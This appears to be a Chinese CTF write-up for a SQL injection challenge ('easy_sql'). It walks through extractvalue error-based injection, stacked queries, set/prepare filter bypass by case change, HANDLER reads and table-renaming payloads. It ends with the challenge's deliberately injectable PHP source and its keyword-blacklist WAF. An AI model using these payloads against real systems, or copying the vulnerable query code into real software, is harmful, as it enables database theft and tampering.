extractvalue(目标xml文档,xml路径)
函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容。
1' and extractvalue(1, concat(0x7e, user(), 0x7e)) #
可知是 Linux 系统,root 用户登录,吆西,权限蛮大啊,继续尝试~~~
1' and extractvalue(1, concat(0x7e, database(), 0x7e)) #
轻松拿到数据库名称,唉,一想到拿到了,也没啥用,就不开心~~~
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起
执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别
么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解
释为什么攻击者无法修改数据或者调用一些程序。
了解了堆叠注入,那么可以尝试构造 payload
# 查看有哪些数据库
1'; show databases; #
# 查看数据库表名
1'; show tables; #
# 或者使用 -1 过滤掉不必要的提示信息
-1'; show tables; #
# 查看表结构
-1'; desc `1919810931114514`; #
-1'; desc words; #
# 或者查看表有哪些列
-1'; show columns from `1919810931114514`; #
-1'; show columns from words; #
在表 1919810931114514 得到 flag 字段
常规操作基本完成,要具体获取 flag 的值,就要来点骚操作了
相关语法如下:
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
了解相关语法和使用后,构造如下 payload 进行尝试
-1';
set @a = CONCAT('se','lect * from `1919810931114514`;');
prepare flag from @a;
EXECUTE flag;#
报出以下错误:
可知只是用 strstr 对 set 和 prepare 进行了过滤,因此大小写轻松绕过
-1';
Set @a = CONCAT('se','lect * from `1919810931114514`;');
Prepare flag from @a;
EXECUTE flag;#
# mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过
# handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
# 示例
handler users open as mytest; #指定数据表进行载入并将返回句柄重命名
handler mytest read first; #读取指定表/句柄的首行数据
handler mytest read next; #读取指定表/句柄的下一行数据
handler mytest read next; #读取指定表/句柄的下一行数据
...
handler mytest close; #关闭句柄
因此可构造如下 payload
-1';
handler `1919810931114514` open as myResult;
handler myResult read first;
handler myResult close;
此处有两张表,而且回显内容是 words 表,这是突破口
大概猜测内部查询语句为:
select id, data from words where id = ?
# 或者
select * from words where id = ?
表 1919810931114514 只有一个 flag 字段,
经过前面测试我们知道,常规关键字均已被过滤,但 alert 和rename 未过滤,所以大概思路如下:
(1)将 words 表重命名为其他名字,如 old_words
(2)1919810931114514 重命名为 words
(3)将 words 表中的 flag 字段重命名为 data
(4)向新的 words 表中新增一列 id
-1';
alter table words rename to old_words;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
# rename table words to old_words;
# rename table 1919810931114514 to words;
执行完上述 payload 后,再输入 -1’ or 1=1 # 即可得到 flag
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){
do{
if ($rs = $mysqli->store_result()){
while ($row = $rs->fetch_row()){
var_dump($row);
echo "
";
}
$rs->Close();
if ($mysqli->more_results()){
echo "
";
}
}
}while($mysqli->next_result());
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close();
}
?>
</pre>
</body>
</html>